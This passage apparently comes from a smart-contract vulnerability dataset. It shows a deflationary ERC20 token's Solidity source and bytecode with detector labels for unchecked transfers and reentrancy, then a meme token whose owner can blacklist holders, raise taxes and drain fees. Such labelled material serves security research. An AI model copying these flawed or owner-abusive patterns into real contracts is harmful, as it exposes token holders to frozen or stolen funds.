token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external; } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(address burner, uint256 _value) internal { require(_value > 0); require(_value <= balances[burner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Transfer(burner, address(0), _value); emit Burn(burner, _value); } } contract DKING is BurnableToken, Ownable { address public stakingAddress; string public constant name = "Deflationary King"; string public constant symbol = "DKING"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000 * (10 ** uint256(decimals)); function setStakingAddress(address _addr) public onlyOwner { stakingAddress = _addr; } function transfer(address to, uint amount) public returns (bool) { uint _amountToBurn = amount.mul(400).div(10000); uint _amountToDisburse = amount.mul(400).div(10000); uint _amountAfterFee = amount.sub(_amountToBurn).sub(_amountToDisburse); burn(msg.sender, _amountToBurn); require(super.transfer(stakingAddress, _amountToDisburse), "Cannot disburse rewards."); if (stakingAddress != address(0)) { tokenRecipient(stakingAddress).receiveApproval(msg.sender, _amountToDisburse, ""); } require(super.transfer(to, _amountAfterFee), "Cannot transfer tokens."); return true; } function transferFrom(address from, address to, uint amount) public returns (bool) { require(to != address(0) && to != address(this)); uint _amountToBurn = amount.mul(400).div(10000); uint _amountToDisburse = amount.mul(400).div(10000); uint _amountAfterFee = amount.sub(_amountToBurn).sub(_amountToDisburse); uint256 _allowance = allowed[from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[from] = balances[from].sub(_amountAfterFee); balances[to] = balances[to].add(_amountAfterFee); balances[from] = balances[from].sub(_amountToDisburse); balances[stakingAddress] = balances[stakingAddress].add(_amountToDisburse); allowed[from][msg.sender] = _allowance.sub(amount); burn(from, _amountToBurn); emit Transfer(from, stakingAddress, _amountToDisburse); emit Transfer(from, to, _amountAfterFee); if (stakingAddress != address(0)) { tokenRecipient(stakingAddress).receiveApproval(msg.sender, _amountToDisburse, ""); } return true; } // Constructors constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(address(0), msg.sender, initialSupply); } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063d73dd62311610071578063d73dd62314610538578063d7b4be241461059e578063dd62ed3e146105e8578063f2fde38b14610660578063f4e0d9ac146106a45761010b565b80638da5cb5b1461039757806395d89b41146103e1578063a9059cbb14610464578063d493b9ac146104ca5761010b565b8063313ce567116100de578063313ce5671461029d578063378dc3dc146102bb57806366188463146102d957806370a082311461033f5761010b565b806306fdde0314610110578063095ea7b31461019357806318160ddd146101f957806323b872dd14610217575b600080fd5b6101186106e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610721565b604051808215151515815260200191505060405180910390f35b610201610813565b6040518082815260200191505060405180910390f35b6102836004803603606081101561022d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b6102a5610eec565b6040518082815260200191505060405180910390f35b6102c3610ef1565b6040518082815260200191505060405180910390f35b610325600480360360408110156102ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efe565b604051808215151515815260200191505060405180910390f35b6103816004803603602081101561035557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118f565b6040518082815260200191505060405180910390f35b61039f6111d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e96111fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042957808201518184015260208101905061040e565b50505050905090810190601f1680156104565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104b06004803603604081101561047a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611237565b604051808215151515815260200191505060405180910390f35b610536600480360360608110156104e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611518565b005b6105846004803603604081101561054e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163a565b604051808215151515815260200191505060405180910390f35b6105a6611836565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61064a600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185c565b6040518082815260200191505060405180910390f35b6106a26004803603602081101561067657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e3565b005b6106e6600480360360208110156106ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a37565b005b6040518060400160405280601181526020017f4465666c6174696f6e617279204b696e6700000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561088357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61088c57600080fd5b60006108b76127106108a961019086611ad590919063ffffffff16565b611b0490919063ffffffff16565b905060006108e46127106108d661019087611ad590919063ffffffff16565b611b0490919063ffffffff16565b9050600061090d826108ff8588611b1d90919063ffffffff16565b611b1d90919063ffffffff16565b90506000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506109e282600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7782600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0c83600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bc38360016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b60016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3b8682611b1d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc58885611b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610edd57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2d5785333856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001806020018281038252600081526020016020019350505050600060405180830381600087803b158015610ec457600080fd5b505af1158015610ed8573d6000803e3d6000fd5b505050505b60019450505050509392505050565b601281565b6012600a0a620f42400281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561100f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a3565b6110228382611b1d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f444b494e4700000000000000000000000000000000000000000000000000000081525081565b60008061126361271061125561019086611ad590919063ffffffff16565b611b0490919063ffffffff16565b9050600061129061271061128261019087611ad590919063ffffffff16565b611b0490919063ffffffff16565b905060006112b9826112ab8588611b1d90919063ffffffff16565b611b1d90919063ffffffff16565b90506112c53384611b50565b6112f1600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611d11565b611363576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f7420646973627572736520726577617264732e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148f57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2d5785333846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001806020018281038252600081526020016020019350505050600060405180830381600087803b15801561147657600080fd5b505af115801561148a573d6000803e3d6000fd5b505050505b6114998682611d11565b61150b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74207472616e7366657220746f6b656e732e00000000000000000081525060200191505060405180910390fd5b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461157257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f957600080fd5b505af115801561160d573d6000803e3d6000fd5b505050506040513d602081101561162357600080fd5b810190808051906020019092919050505050505050565b60006116cb82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461193d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561197757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9157600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840290506000841480611af4575082848281611af157fe5b04145b611afa57fe5b8091505092915050565b600080828481611b1057fe5b0490508091505092915050565b600082821115611b2957fe5b818303905092915050565b600080828401905083811015611b4657fe5b8091505092915050565b60008111611b5d57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611ba957600080fd5b611bfb81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5381600054611b1d90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d7b57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b611d8457600080fd5b611dd682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509291505056fea265627a7a7231582061285193835688e848f7039051140794f10c6f696273425d8cf00c24c213e9bf64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,827
0x75d16dfc37fc28fbeb49814b1d526f342aae1844
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /* ELon with us Fair launch 2% Max Buy https://t.me/substrateportal $SUBSTRATE https://twitter.com/elonmusk/status/1503305538356011009 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract substrateeloncontract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Biological Substrate"; string private constant _symbol = "SUBSTRATE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x81895FcE22D5328A59263A355F74c4a3860e493d); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 26) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 26) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
